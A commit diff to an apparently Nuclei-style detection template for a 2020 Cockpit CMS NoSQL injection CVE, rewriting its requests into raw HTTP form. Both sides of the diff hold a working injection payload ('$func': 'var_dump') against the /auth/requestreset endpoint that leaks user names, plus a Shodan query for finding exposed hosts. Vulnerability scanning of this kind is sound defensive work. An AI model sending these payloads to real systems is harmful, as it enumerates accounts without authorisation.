updated the req and matcher
parent
24c236b05e
commit
2b8f5b3c7e
|
@ -20,50 +20,49 @@ info:
|
|||
epss-score: 0.80883
|
||||
metadata:
|
||||
max-request: 1
|
||||
verified: "true"
|
||||
verified: true
|
||||
shodan-query: http.favicon.hash:688609340
|
||||
tags: cve,cve2020,nosqli,sqli,cockpit,injection
|
||||
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/auth/requestreset"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{
|
||||
"user": {
|
||||
"$func": "var_dump"
|
||||
- raw:
|
||||
- |
|
||||
POST /auth/requestreset HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"user": {
|
||||
"$func": "var_dump"
|
||||
}
|
||||
}
|
||||
|
||||
- |
|
||||
POST /auth/requestreset HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"user": {
|
||||
"$func": "nonexistent_function"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body_1
|
||||
regex:
|
||||
- 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'
|
||||
|
||||
- type: regex
|
||||
part: body_1
|
||||
regex:
|
||||
- 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"'
|
||||
negative: true
|
||||
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/auth/requestreset"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{
|
||||
"user": {
|
||||
"$func": "nonexistent_function"
|
||||
}
|
||||
}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body_2
|
||||
regex:
|
||||
- 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"'
|
||||
negative: true
|
||||
|
|
Loading…
Reference in New Issue